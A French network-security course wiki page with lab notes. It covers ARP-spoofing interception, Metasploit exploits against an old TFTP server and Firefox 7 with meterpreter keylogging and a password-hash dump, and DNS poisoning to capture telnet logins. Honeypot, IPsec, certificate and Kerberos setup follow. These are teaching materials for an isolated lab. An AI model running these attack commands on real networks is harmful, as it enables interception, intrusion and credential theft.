User Tools

Site Tools


secres:index

Sécurité des Réseaux

Man-in-the-Middle avec arpspoof

Obligatoirement, dans un LAN, syl souhaite intercepter les échanges entre nile et immortal.

syl$ echo 1 > /proc/sys/net/ipv4/ip_forward                 # on active le routage
syl$ arpspoof -i eth0 -t @immortal @nile  &> /dev/null &
syl$ arpspoof -i eth0 -t @nile @immortal &> /dev/null &
syl$ tcpdump -i eth0 -s 1500 -w /mnt/host/capture           # on fait la capture
syl$ pkill -9 arpspoof                                      # on arrête arpspoof !

Votre fichier capture se trouve dans le répertoire ~/SR-QEMU-session/syl/ de votre machine hôte. Lancez Wireshark, ouvrez votre capture. Sélectionner la trame TCP qui vous intéresse et cliquez avec le bouton-droit sur “Follow TCP Stream” pour afficher tous les échanges associés à une connexion.

Metasploit

Lancer metasploit :

$ msfconsole
msf > 

Un exploit se prépare en plusieurs étapes :

  1. le choix d'un exploit (exploit) parmi une liste d'exploits disponibles dans le framework
  2. le choix de la cible (target)
  3. le choix des options
  4. le choix de l'attaque à réaliser (payload)
1) Attaque d'un serveur TFTP dans Windows XP SP0 English

Voici un petit exemple d'attaque d'un serveur TFTP (Allied Telesyn TFTP Server 1.9) s'exécutant sur une machine Windows XP SP0 English. Ce serveur est connu pour avoir une faille de sécurité de type stack buffer overflow !

msf > nmap -sS 192.168.56.3    # recherche des services disponible sur la machine victime

### exploit
msf > show exploits 
msf > search ftp
msf > use expoit/windows/tftp/attftp_long_filename   # completion possible à partir de exploit/...
msf > info

### target
msf > show targets
msf > set target 6    # Windows XP SP0/1 English

### options
msf > show options
msf > set LHOST 192.168.1.2      # local host (attaquant)
msf > set RHOST 172.16.1.2       # remote host (victime)

### payloads
msf > search payload/windows
msf > set PAYLOAD windows/meterpreter/bind_nonx_tcp

### run exploit
msf > exploit   # ou run

### meterpreter
meterpreter > help
meterpreter > ls
meterpreter > ps
meterpreter > migrate 1172   # migre vers le processus 1172 (explorer dans cette session)
meterpreter > shell          # lancer un shell distant !
meterpreter > keyscan_start 
meterpreter > keyscan_dump
meterpreter > keyscan_stop

Nota Bene : les payloads “windows/shell/*” ne marche pas dans ce TP… Utilisez plutôt meterpreter !

2) Attaque d'un Mozilla Firefox 7 dans Windows XP SP0 English

On peut récupèrer Firefox 7 sur http://www.oldapps.com/firefox.php

msf > search mozilla
msf > use exploit/windows/browser/mozilla_nssvgvalue
msf > info
msf > set TARGET 1 			# Firefox 7
msf > show options
msf > set SRVHOST 0.0.0.0
msf > set SRVPORT 8080
msf > set URIPATH /exploit.html
msf > set PAYLOAD windows/meterpreter/bind_nonx_tcp
msf > exploit

Ces options permettent de configurer le faux-serveur web sur la machine locale, où metasploit s'exécute (port # 8080). il faut maintenant que la victime sur Windows XP à se connecte via Firefox 7 à “http://192.168.0.2:8080/exploit.html”.

msf > sessions -l
msf > sessions -i 1      # pour changer de session et utiliser meterpreter !!!

Pour tuer notre faux serveur web, avant de relancer l'exploit si besoin…

msf > jobs              # pour lister les jobs..
msf > kill 0            # pour tuer le job 0  
3) Meterpreter, pour aller plus loin...
msf > set PAYLOAD windows/meterpreter/bind_nonx_tcp

# ou au choix...
# msf > set PAYLOAD windows/meterpreter/reverse_tcp 

meterpreter > help

meterpreter > hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:e3ddfcef033a10d2e90d291bb8013f0f:fcef812fa4e67dc6702c73cffe2df3bd:::
lucifer:1003:bac14d04669ee1d1aad3b435b51404ee:fbbf55d0ef0e34d39593f55c5f2ca5f2:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ab152ca65206611cab918710ca4dc19b:::

Avec OPHCRACK, on effectue une attaque brute-force et on récupère le mot de passe du compte Lucifer :-)

metasploit-ophcrack.jpeg

4) D'autres attaques à tester sur Windows XP

DNS Cache Poisonning

Scenario : Nile se connecte périodiquement à Atg en telnet. Ainsi, Nile effectue périodiquement une requête DNS auprès de Immortal, qu'il transmet à un autre serveur DNS, Grave, qui connait la réponse (i.e. l'adresse IP associé au nom de domaine de Atg). La durée de vie du cache DNS de Immortal est de 1mn.

Nous souhaitons usurper les identifiants (login/password) que Nile utilise pour se connecter à Atg. Nous avons accès à deux machines Syl et surtout Dt qui se trouve astucieusement en placer entre les deux serveurs DNS Immortal et Grave.

Sur Dt, on écoute le traffic DNS (UDP, port 53) entre Immortal et Grave. En utilisant tcpdump et wireshark, on découvre le nom de domaine de Atg : atg.gfd.net et son adresse IP avec la commande nslookup : 172.16.21.23. Nota Bene : Cette étape n'est pas toujours facile, car il y a beaucoup de traffic entre les deux serveurs DNS.

On va ensuite configurer un faux serveur DNS (dnsmasq) sur Dt qui va intercepter les requêtes à destination de Grave et formuler une “fausse” réponse, en associant l'adresse IP de Syl (192.168.0.2) au nom atg.gfd.net !

# configuration de dnsmasq
dt$ echo "192.168.0.2 atg.gfd.net" > /etc/dnsmasq.hosts
dt$ /etc/init.d/dnsmasq restart

# test local du faux serveur
dt$ nslookup atg.gfd.net localhost        # la réponse doit être @syl 

# redirection du traffic DNS vers le faux serveur
dt$ iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-ports 53

# test distant du faux serveur
syl$ nslookup atg.gfd.net        # la réponse doit être @syl 

A partir de ce moment, Nile qui effectue périodiquement la commande “telnet atg.gfd.net” va en fait envoyer sa requête telnet à @syl ! En effectuant, un tcpdump sur Syl, on peut vérifier que nile.xyz.com (192.168.20.2) effectue des tentatives de connexions telnet. Nous allons rediriger ces connections TCP (port 23) vers la vraie machine Atg pour mettre en place notre Man-in-the-Middle…

nile$ tcpdump -s 1500 -w /mnt/host/capture &> /dev/null &
nile$ /root/redirect.sh 23 172.16.21.23

Le script redirect.sh utilise sur Syl deux netcat (client & serveur) reliés via 2 pipes nommés pour rediriger la connexion TCP/IP vers Atg dans les deux sens. Il faut patienter une minute au moins et faire plusieurs tentatives, pour finalement intercepter les identifiants de la session Telnet avec Wireshark !!!

Honey Pot

Attention : ces notes n'ont pas été remise à jour…

On installe le honeypot sur syl (192.168.0.2), qui va simuler un réseaux 10.0.0.0/8.

Routage

immortal$ route add -net 10.0.0.0/8 dev eth1
  ou
immortal$ route add -net 10.0.0.0/8 gw 192.168.0.2

Daemon ARP

En ligne de commande :

syl$ farpd -d -i eth0 10.0.0.0/8 &

Faites un ping depuis opeth vers 10.0.0.1 et vérifiez que syl reçoit ce message. Si c'est le cas, vous pouvez mettre en place le honey pot.

Honeypot

Configurer le fichier /etc/default/honeyd

RUN="yes"
INTERFACE="eth0"
NETWORK="10.0.0.0/8"
syl$ /etc/init.d/honeyd restart

On vérifie les erreurs potentielles dans /var/log/honeypot/*.log. Avertissement : Le daemon honeyd renvoie un message “failed” systématiquement, même s'il fonctionne correctement !!!

Configuration du honeypot

Configurer le réseau simulé dans le fichier /etc/honeypot/honeyd.conf. Remplacez ce fichier par le fichier suivant. Les # sont des commentaires. Ce fichier instancie deux machines 10.0.0.1 et 10.0.0.2 avec des profils et des services différents.

honeyd.conf
create default
set default default tcp action block
set default default udp action block
set default default icmp action block
 
# Example of a simple host suse80 and its binding
create suse80
set suse80 personality "Linux 2.4.7 (X86)"
set suse80 default tcp action reset
set suse80 default udp action block
set suse80 default icmp action open
set suse80 uptime 79239
set suse80 droprate in 4
add suse80 tcp port 21 "sh /usr/share/honeyd/scripts/unix/linux/suse8.0/proftpd.sh $ipsrc $sport $ipdst $dport"
add suse80 tcp port 22 "sh /usr/share/honeyd/scripts/unix/linux/suse8.0/ssh.sh $ipsrc $sport $ipdst $dport"
add suse80 tcp port 80 "sh /usr/share/honeyd/scripts/unix/linux/suse8.0/apache.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 23 "sh scripts/unix/linux/suse8.0/telnetd.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 25 "sh scripts/unix/linux/suse8.0/sendmail.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 79 "sh scripts/unix/linux/suse8.0/fingerd.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 110 "sh scripts/unix/linux/suse8.0/qpop.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 143 "sh scripts/unix/linux/suse8.0/cyrus-imapd.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 515 "sh scripts/unix/linux/suse8.0/lpd.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 3128 "sh scripts/unix/linux/suse8.0/squid.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 8080 "sh scripts/unix/linux/suse8.0/squid.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 8081 "sh scripts/unix/linux/suse8.0/squid.sh $ipsrc $sport $ipdst $dport"
#add suse80 udp port 53 proxy 24.35.0.12:53
bind 10.0.0.1 suse80
 
# Example of a simple host WIN and its binding
create WIN
set WIN personality "Microsoft Windows XP SP1"
set WIN uptime 1728650
set WIN maxfds 35
add WIN tcp port 80 "sh /usr/share/honeyd/scripts/win32/web.sh"
add WIN tcp port 22 "/usr/share/honeyd/scripts/test.sh $ipsrc $dport"
set WIN default tcp action reset
bind 10.0.0.2 WIN

Test

syl$ tail -f /var/log/honeypot/honeyd.log # pour afficher en continu l'activité réseau du honeypot
opeth$ ping 10.0.0.1
opeth$ traceroute -T 10.0.0.1  # TCP plutôt que UDP
opeth$ nmap -O 10.0.0.1        # OS guess 
opeth$ xprobe2 10.0.0.1        # OS guess

IPSEC avec racoon

FIXME : Corriger les adresses IPs.

Configuration LAN-to-LAN d'un tunnel IPSEC entre les gateways immortal et syl.

    OPETH ------ IMMORTAL ===== TUNNEL IPSEC ====== SYL ------ NILE
    (LAN)           GW                              GW         (LAN)
192.168.0.0/24  192.168.1.2                       172.16.0.2  10.0.0.0/24

La configuration s'effectue en 2 étapes :

  1. on dit via setkey quel traffic doit utiliser IPSEC plutôt que IP → /etc/ipsec-tools.conf
  2. on configure via l'IKE racoon comment IPSEC doit fonctionner (négociation des clefs, algo encryptage, …) → /etc/racoon/racoon.conf
Génération du PSK (Pre Shared Secret)
immortal$ dd if=/dev/random count=24 bs=1 |xxd -ps
  a1e27a604351ffd147f82b50a4f7bcf60d04822c93fa1efd

Attention à utiliser /dev/random (et non /dev/urandom), mais il faut générer de l'entropie dans le système en bougeant la souris par exemple !!!

Dans le fichier /etc/racoon/psk.txt de immortal, vous ajoutez votre secret :

# remote @IP           key 24 bytes (en hexadecimal)
172.16.0.2             0xa1e27a604351ffd147f82b50a4f7bcf60d04822c93fa1efd

Ne pas oublier le “0x” en préfixe de la clef hexadecimal ! Faire de même pour la gateway syl (avec la même clef évidemment)

Nota Bene : par la suite on utilisera des certificats pour assurer l'authentifcation, plutôt qu'un secret partagé.

Configuration de l'IKE Racoon

IKE = Internet Key Exchange. Protocole standard sous-jacent : isakmp (phase1 ou phase2), implanté ici par Racoon. Fichier de configuration : /etc/racoon/racoon.conf

Protocole de négociation des paramètres de sécurité en deux phases :

  1. IKE Security Negotiation (section proposal)
  2. IKE IPSEC Negotiation (section sainfo)

Une connexion IPSEC regroupe (au moins) deux SA (security association), une SA étant unidirectionnelle…

Quelques paramètres :

  • dh_group : diffie-helman (DH) pour la génération des clefs de session symétrique utilisé dans la phase 1 (plusieurs groupes possibles, ex. 1024 bits)
  • pfs_group (perfekt forwarding secrecy) : nouveau DH utilisée pour la phase 2
/etc/racoon/racoon.conf
path pre_shared_key "/etc/racoon/psk.txt";
 
# adresse publique de la GW distante
remote 172.16.0.2 {
        proposal {
                encryption_algorithm aes;
                hash_algorithm sha1;
                authentication_method pre_shared_key;
                dh_group modp1024;
        }
	verify_identifier on;
	peers_identifier address;
	exchange_mode main;
}
 
# communication LAN-to-LAN 
sainfo address 192.168.0.0/24 [any] any address 10.0.0.0/24 [any] any {
        pfs_group modp1024;
        encryption_algorithm aes,3des;
        authentication_algorithm hmac_sha1,hmac_md5;
        compression_algorithm deflate;
}

Faire de même pour la gateway syl

Attention : authentification en anglais s'écrit authentication !

Memento pour racoon.conf :

sainfo (source_id destination_id | source_id anonymous | anonymous destination_id | anonymous) { ... }
source_id = address address [/ prefix] [[port]] ul_proto
exemple : address 192.168.0.0/24 [any] any 
Configuration des politiques de sécurité avec Setkey

Setkey : gestion des SPD (Security Policy Database)

On peut également forcer des SA manuellement dans “ipsec-tools.conf” mais dans ce cas là, on utilise pas IKE…

On pourra utiliser le protocole de communication pour IPsec : AH ou ESP ou les deux.

  • AH (Authentication Header) : authentification + intégrité. Utilisation d'une fonction de hash cryptographique et simple ajout du AH header (pas de chriffrement des data IP qui sont en clair).
  • ESP (Encapsultated Security Payload) : chiffrement et authentification ajout d'un ESP Header / ESP trailer et ESP auth. Contrairement à AH, le header IP extérieur de ESP n'est pas protégé ! AH a tendance à disparaître au profit de ESP. La différence principale entre ESP et AH, vient du fait que ESP chiffre les données (payload), et pas AH.

On peut choisir à ce niveau le mode transport ou tunnel…

  • Transport : Dans le mode transport, seul les data IP sont protégés, mais pas le header, mais cela n'a pas d'intérêt dans le cas host-to-host, où les IP src/dst sont de toute façon connues !
  • Tunnel : Dans le mode tunnel, le paquet IP entier (header + data) est protégé et encapsulé dans un autre paquet IP par la gateway… les IP src/dst des LANs sont masqués.

Dans le cas LAN-to-LAN, on préfèrera le mode tunnel, alors que pour du host-to-host on choisira plutôt le mode transport…

Nota Bene: roadwarriors (client volatile, IP anonymous, authentifé par un certificat)

/etc/default/setkey
# Set to "no" to disable loading ipsec.conf on startup
RUN_SETKEY=yes
/ipsec-tools.conf
#!/usr/sbin/setkey -f
 
# NOTE: Do not use this file if you use racoon with racoon-tool
# utility. racoon-tool will setup SAs and SPDs automatically using
# /etc/racoon/racoon-tool.conf configuration.
# 
 
## Flush the SAD and SPD
flush;
spdflush;
 
# paquet sortant (out, src-dst)
spdadd 192.168.0.0/24[any] 10.0.0.0/24[any] any -P out ipsec
	esp/tunnel/192.168.1.2-172.16.0.2/require;
 
# paquet entrant (in, src-dst)
spdadd 10.0.0.0/24[any] 192.168.0.0/24[any] any -P in ipsec
	esp/tunnel/172.16.0.2-192.168.1.2/require;

Faire de même pour la gateway syl. Changer ESP en AH dans la config…

Démarrage
immortal$ /etc/init.d/setkey restart && /etc/init.d/racoon restart
syl$ /etc/init.d/setkey restart && /etc/init.d/racoon restart

En cas de problème ;-)

immortal$ tail /var/log/syslog   

On peut augmenter le loglevel dans racoon.conf:

# Log level is one of following: error, warning, notify, info, debug and debug2.
log debug;   
Un petit test

Depuis une machine du tunnel (grave), on lance tcpdump pour contrôler le traffic échangé. On intercepte un premier ping qui circule entre opeth et nile. On voit l'IKE faire son job (négociation ISAKMP). Puis après on ne voit pas d'ICMP mais du ESP (les adresses src et dst sont remplacées par celle des gateways, mode tunnel).

09:51:35.610567 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 1 I ident
09:51:35.622455 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 1 R ident
09:51:35.650666 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 1 I ident
09:51:35.670857 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 1 R ident
09:51:35.707636 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 1 I ident[E]
09:51:35.711302 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 1 R ident[E]
09:51:35.712150 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 2/others R inf[E]
09:51:35.713748 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 2/others I inf[E]
09:51:36.716755 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 2/others I oakley-quick[E]
09:51:36.740753 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 2/others R oakley-quick[E]
09:51:36.742167 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 2/others I oakley-quick[E]
09:51:37.607221 IP 192.168.1.2 > 172.16.0.2: ESP(spi=0x0868526a,seq=0x1), length 132
09:51:37.608881 IP 172.16.0.2 > 192.168.1.2: ESP(spi=0x0d2380d8,seq=0x1), length 132
09:51:38.611715 IP 192.168.1.2 > 172.16.0.2: ESP(spi=0x0868526a,seq=0x2), length 132
09:51:38.612711 IP 172.16.0.2 > 192.168.1.2: ESP(spi=0x0d2380d8,seq=0x2), length 132
09:51:39.610716 IP 192.168.1.2 > 172.16.0.2: ESP(spi=0x0868526a,seq=0x3), length 132
09:51:39.611679 IP 172.16.0.2 > 192.168.1.2: ESP(spi=0x0d2380d8,seq=0x3), length 132
09:51:40.600353 ARP, Request who-has 192.168.1.1 tell 192.168.1.2, length 28
09:51:40.600461 ARP, Reply 192.168.1.1 is-at a2:00:00:00:03:00 (oui Unknown), length 28
Utilisation du mode transport

Attention, on ne fait plus du LAN-to-LAN, mais du HOST-to-HOST, entre immortal et syl…

Ce qu'il faut ajouter…. par exemple sur immortal

1) Dans /etc/racoon/racoon.conf, il faut ajouter une SA pour le transport:

sainfo address 192.168.1.2 any address 172.16.0.2 any {
      pfs_group modp1024;
      encryption_algorithm aes,3des;
      authentication_algorithm hmac_sha1,hmac_md5;
      compression_algorithm deflate;
}

2) Ce qu'il faut ajouter dans /etc/ipsec-tools.conf

  spdadd 192.168.1.2 172.16.0.2 any -P out ipsec
      esp/transport//require;                      
 
  spdadd 172.16.0.2 192.168.1.2 any -P in ipsec
      esp/transport//require;

Génération des Certificats

→ utilisation de certtool, pas de passphrase pour protéger les clés privés par défaut.

1) génération du certificat du CA (et de sa clef privée)

$ certtool --generate-privkey --outfile ca.key
$ certtool --generate-self-signed --load-privkey ca.key --outfile ca.crt

* la plupart des champs peuvent rester vides
* Common name: CA
* The certificate will expire in (days): 255  
* Does the certificate belong to an authority? (y/N): y
* Will the certificate be used to sign other certificates? (y/N): y
  

Afficher les infos du certificat :

$ certtool --certificate-info --infile ca.crt

2) génération du certificat de la machine immortal signée par le CA (et de sa clef privée)

$ certtool --generate-privkey --outfile immortal.key
$ certtool --generate-certificate --load-privkey immortal.key --outfile immortal.crt --load-ca-certificate ca.crt --load-ca-privkey ca.key
  • la plupart des champs peuvent rester vides
  • CN=@IP
  • DNSName=@IP
  • IP address=@IP
  • The certificate will expire in (days): 255
  • Does the certificate belong to an authority? (y/N): N

Et pour le test avec GNUTLS, il faut aussi :

  • Will the certificate be used for signing (required for TLS)? (y/N): y
  • Will the certificate be used for encryption (not required for TLS)? (y/N): y

3) Afficher les infos du certificat

$ certtool --certificate-info --infile immortal.crt
           

Test des Certificats

Sur la machine qui a servi a généré les certificats, on va lancer le serveur GNUTLS.

dt$ gnutls-serv --x509keyfile dt.key --x509certfile dt.crt 
    Set static Diffie Hellman parameters, consider --dhparams.
    Processed 1 CA certificate(s).
    Echo Server ready. Listening to port '5556'.
   

On copie le certificat du CA sur syl, puis on lance le client GNUTLS.

dt$ scp ca.crt toto@172.16.0.2:/root/
syl$ gnutls-cli --x509cafile ca.crt -p 5556 147.210.0.2

     Connecting to '147.210.0.2:5556'...
     ...
     # The hostname in the certificate matches '147.210.0.2'.
     # Subject's DN: CN=147.210.0.2
     # Issuer's DN: CN=CA
     ...
     - Peer's certificate is trusted
     ...
     - Handshake was completed  

Notez que le serveur est TRUSTED, car on dispose du certificat du CA pour l'authentifier ! C'est le schéma typique de HTTPS.

Le client peut également envoyer son certificat, afin que le serveur puisse également l'authentifié. C'est le schéma typique de IPSEC.

 
dt$ gnutls-serv -r --x509cafile ca.crt --x509keyfile dt.key --x509certfile dt.crt 
syl$ gnutls-cli --x509cafile ca.crt --x509keyfile syl.key --x509certfile syl.crt -p 5556 147.210.0.2
 

Dans ce cas, le message “Peer's certificate is trusted” est affiché pour le client et le serveur. CQFD

Pour test GNUTLS en tant que serveur HTTP, plutôt que ECHO :

  • côté serveur, ajouter l'option : –http -p 443
  • côté client, ajouter l'option : -p 443

Ensuite, GET / HTTP/1.0

IPSEC avec LibreSwan

Considérons les certificats suivants (ainsi que les clés privés) pour le CA, syl et immortal :

ca-cert.pem
ca-key.pem
immortal-cert.pem
immortal-key.pem
syl-cert.pem
syl-key.pem

Pour afficher le contenu du certificat :

certtool -i < dt-cert.pem | more

Il faut commencer par générer des fichiers PCKS#12 avant de les importer dans la base NSS/SQL. Pour faire simple, on donnera comme id/password “syl”/“syl” pour le fichier syl.p12. Plus concrètement, il faut taper sur immortal les commandes suivantes :

# génération fichier immortal.p12 (sur immortal)
immortal# certtool --load-certificate immortal-cert.pem --load-privkey immortal-key.pem \
                   --load-ca-certificate ca-cert.pem --to-p12 --outder --outfile immortal.p12    
# génération fichier syl.p12 (sur immortal, sans clé privé)
immortal# certtool --load-certificate syl-cert.pem --load-ca-certificate ca-cert.pem \
                    --to-p12 --outder --outfile syl.p12

# RAZ de la base NSS
immortal# rm -f /var/lib/ipsec/nss/*; ipsec initnss
# import dans la base NSS
immortal# ipsec import immortal.p12  
immortal# ipsec import syl.p12

Faire de même sur syl. On peut vérifier que l'import s'est bien fait avec les commandes suivantes :

immortal# certutil -L -d sql:/var/lib/ipsec/nss # on voit les certifs de immortal, syl et CA  
immortal# certutil -K -d sql:/var/lib/ipsec/nss # on voit uniquement la clé de immortal

Configuration d'un Tunnel

Configuration LAN-to-LAN d'un tunnel IPSEC entre les gateways Immortal et Syl

On considère la configuration suivante ; attention, les IPs ne sont pas à jour !

  OPETH ------ IMMORTAL ===== tunnel ipsec ====== SYL ------ NILE
  (LAN)           GW                              GW         (LAN)
192.168.0.0/24 192.168.1.2                    172.16.0.2  10.0.0.0/24

Les éléments de configuration importants entre les deux HOSTs (transport) ou les deux LANs (tunnel).

Tout d'abord, il faut comprendre que “left” représente vous-même, tandis que “right” représente votre vis-à-vis.

Par exemple, sur la machine immortal (192.168.1.2), gateway du lan 192.168.0.0/24, que l'on souhaite connecté par un tunnel IPSec au lan 10.0.0.0/24 dont syl (172.16.0.2) est la gateway.

Attention à ne pas mélanger les adresse publiques/privées pour la gateway en mode tunnel !

  • type= tunnel # tunnel ou transport
  • left= 192.168.1.2 # adresse public de la gateway du lan en mode tunnel
  • leftsubnet= 192.168.0.0/24 # adresse du réseau privé (mode tunnel seulement)
  • leftcert= immortal # ID certificat associé à immortal
  • right= 172.16.0.2
  • rightsubnet= 10.0.0.0/24
  • rightcert= syl

Nota Bene : La machine immortal doit disposer des certificats immortal.crt et syl.crt en local, ainsi que du certificat de l'autorité de certification (CA).

#/etc/ipsec.conf @ immortal

version	2.0

# basic configuration
config setup
	plutodebug= all
	plutostderrlog=/var/log/pluto.log
	protostack=netkey
	nat_traversal=no
	nhelpers=0

# Add connections here

conn tunnelipsec
	type= tunnel
	left= 192.168.1.2                
	leftsubnet= 192.168.0.0/24       
	leftcert= immortal
	right= 172.16.0.2
	rightsubnet= 10.0.0.0/24
  	rightcert= syl
	phase2alg= aes-sha1

Sur immortal, il faut ajouter dans /etc/ipsec.secrets :

# /etc/ipsec.secrets

: RSA 	 immortal

Faire de même sur syl…

Attention : Dans /etc/ipsec.secrets, ne pas oublier l'espace entre : et RSA, ainsi que le retour à la ligne à la fin !!! Dans /etc/ipsec.conf, ne pas oublier les tabulations après la ligne “conn tunnelipsec” et le retour à la ligne tout à la fin !!!!

Pour démarrer le tunnel ipsec :

immortal# service ipsec restart
immortal# ipsec auto --add tunnelipsec
immortal# ipsec auto --up tunnelipsec  

Configuration d'un Road Warrior

TODO: Mettre à jour

 OPETH ------ IMMORTAL ===== tunnel ipsec ====== DT 
  (LAN)           GW                         ROAD WARRIOR      
192.168.0.0/24 192.168.1.2                   147.210.0.2 
# /etc/ipsec.conf @ immortal

version	2.0

# basic configuration
config setup
	plutodebug= all
	plutostderrlog=/var/log/pluto.log
	protostack=netkey
	nat_traversal=no
	nhelpers=0

# Add connections here

# Using simple ID (@dt)
conn roadwarrior
	type=           tunnel
	leftcert=       immortal.crt
	left=           192.168.1.2
	leftsubnet=     192.168.0.0/24
	right=          %any                      # anybody
	rightcert=      dt.crt
	rightid=        @dt
# /etc/ipsec.conf @ dt

version	2.0

# basic configuration
config setup
	plutodebug= all
	plutostderrlog=/var/log/pluto.log
	protostack=netkey
	nat_traversal=no
	nhelpers=0

# Add connections here

# Using simple ID (@dt)
conn roadwarrior
	type=            tunnel
	rightcert=       immortal.crt
	right=           192.168.1.2
	rightsubnet=     192.168.0.0/24
	leftcert=        dt.crt
	left=            %defaultroute         
	leftid=          @dt        	
# /etc/ipsec.secrets @ syl

: RSA	dt.key ""

Démarrage. Sur chaque extrémité du tunnel, il faut lancer :

$ /etc/init.d/ipsec restart

Puis, sur les deux, on lance :

$ ipsec auto --add tunnelipsec    

Puis, sur l'une des deux (ou sur le client dans la config roadwarrior), on lance :

$ ipsec auto --up tunnelipsec

Ensuite, on peut tester un PING entre opeth et nile ou dt selon la config. En effectuant un tcpdump sur grave, on doit uniquement voir circuler un traffic encripté du type ESP (Encapsultated Security Payload). Notons que dans la phase 1 & 2 d'initialisation de l'IKE, le protocole utilisé est ISAKMP.

Test tunnelipsec

Depuis opeth, ping 10.0.0.2 (nile)…

Un tcpdump sur grave doit montrer uniquement de l'ESP entre les GWs

13:36:12.962705 IP 192.168.1.2 > 172.16.0.2: ESP(spi=0x40be009e,seq=0x6), length 116
13:36:12.963475 IP 172.16.0.2 > 192.168.1.2: ESP(spi=0xeeddc86c,seq=0x6), length 116 

Kerberos

On considère le LAN suivant avec le domain DNS metal.fr déjà configuré.

  • opeth (serveur kerberos)
  • immortal et opeth (client kerberos)

1) Configurer le fichier /etc/krb5.conf sur client et serveur

2) Ajouter sur le serveur dans le fichier /etc/krb5kdc/kdc.conf

[realms]
METAL.FR = {
        database_name = /var/lib/krb5kdc/principal
        admin_keytab = FILE:/etc/krb5kdc/kadm5.keytab
        acl_file = /etc/krb5kdc/kadm5.acl
        key_stash_file = /etc/krb5kdc/stash
        ...
    }

3) Création de la base de donnée Kerberos sur le serveur

$ kdb5_util create -s
mot de passe : toto

4) Créer le fichier /etc/krb5kdc/kadm5.acl en y ajoutant

*/admin@METAL.FR *

5) Administration de Kerberos sur le serveur… Toutes les commandes :

  opeth$ kadmin.local 
      -> Authenticating as principal root/admin@METAL.FR with password.
    kadmin.local:  addprinc -randkey host/immortal.metal.fr
      -> Principal "host/immortal.metal.fr@METAL.FR" created.
    kadmin.local:  addprinc -randkey host/opeth.metal.fr
      -> Principal "host/opeth.metal.fr@METAL.FR" created.
    kadmin.local: ktadd -k /tmp/tmp.keytab host/immortal.metal.fr

  opeth$ scp /tmp/tmp.keytab toto@immortal:/tmp/ 

  immortal$ cp /tmp/tmp.keytab /etc/krb5.keytab

  opeth$ rm /tmp/tmp.keytab
  opeth$ kadmin.local 
    kadmin.local: ktadd -k /tmp/tmp.keytab host/opeth.metal.fr  

  opeth$ cp /tmp/tmp.keytab /etc/krb5.keytab
 
  opeth$ kadmin.local 
    kadmin.local: addprinc toto@METAL.FR
      -> Enter password for principal "toto@METAL.FR": => ktoto
      -> Re-enter password for principal "toto@METAL.FR": => ktoto
      -> Principal "toto@METAL.FR" created.

    kadmin.local: listprincs # affiche tous les principes générés        

Remarques : La commande addprinc permet d'ajouter des principes “host/*” au KDC. On extrait les clefs associées pour que le serveur partage chaque clef avec les clients correspondants. La commande addprinc permet également d'ajouter des principes “user”. Dans ce cas précis, le secret partagé sera le mot-de-passe saisie de manière interactive avec la commande kinit. Donc, ktadd inutile.

Pour vérifer les clés installés sur les clients :

immortal$ ktutil
ktutil> rkt /etc/krb5.keytab
ktutil> l                      # list keys

6) Démarrage du serveur

  opeth$ /etc/init.d/krb5-kdc restart

  immortal$ kinit toto
  Password for toto@METAL.FR: => ktoto

  immortal$ klist

  Ticket cache: FILE:/tmp/krb5cc_0
  Default principal: toto@METAL.FR

  Valid starting     Expires            Service principal
  12/02/10 14:54:33  12/03/10 00:54:33  krbtgt/METAL.FR@METAL.FR
  renew until 12/03/10 14:54:29

7) Test FTP

  immortal$krb5-ftp opeth

  Connected to opeth.metal.fr.
  220 opeth FTP server (Version 5.60) ready.
  334 Using authentication type GSSAPI; ADAT must follow
  GSSAPI accepted as authentication type
  GSSAPI authentication succeeded
  Name (opeth:root): toto
  232 GSSAPI user toto@METAL.FR is authorized as toto
  Remote system type is UNIX.
  Using binary mode to transfer files.
  ftp> 

OK ça marche !!!

8) PAM

PAM permet d'automatiser l'athentification avec Kerberos.

  immortal$ pam-auth-update

 [*] Kerberos authentication                     
 [*] Unix authentication                    
 [ ] LDAP Authentication                    
 [ ] Inheritable Capabilities Management    

Utilisation de Kerberos de manière transparente…

immortal$ ssh toto@opeth

Si je vire le ticket avec kdestroy, alors :

immortal$ ssh toto@opeth
toto@opeth's password: => toto (UNIX password)

Maintenant, on ferme la session, et on se connecte en tant que “toto”… Un ticket Kerberos est automatiquement créé…

  immortal login: toto
  Password: => ktoto (KERBEROS PASSWORD)

  Last login: Thu Dec  2 15:04:31 UTC 2010 on tty1
  Linux immortal 2.6.32 #2 Sat Jan 9 04:37:12 UTC 2010 i686

  toto@immortal:~$ klist
  Ticket cache: FILE:/tmp/krb5cc_1000_S6Rufn
  Default principal: toto@METAL.FR

  Valid starting     Expires            Service principal
  12/02/10 15:05:54  12/03/10 01:05:54  krbtgt/METAL.FR@METAL.FR
  renew until 12/03/10 01:05:54

SSH et Progammation avec OpenSSL

SSH

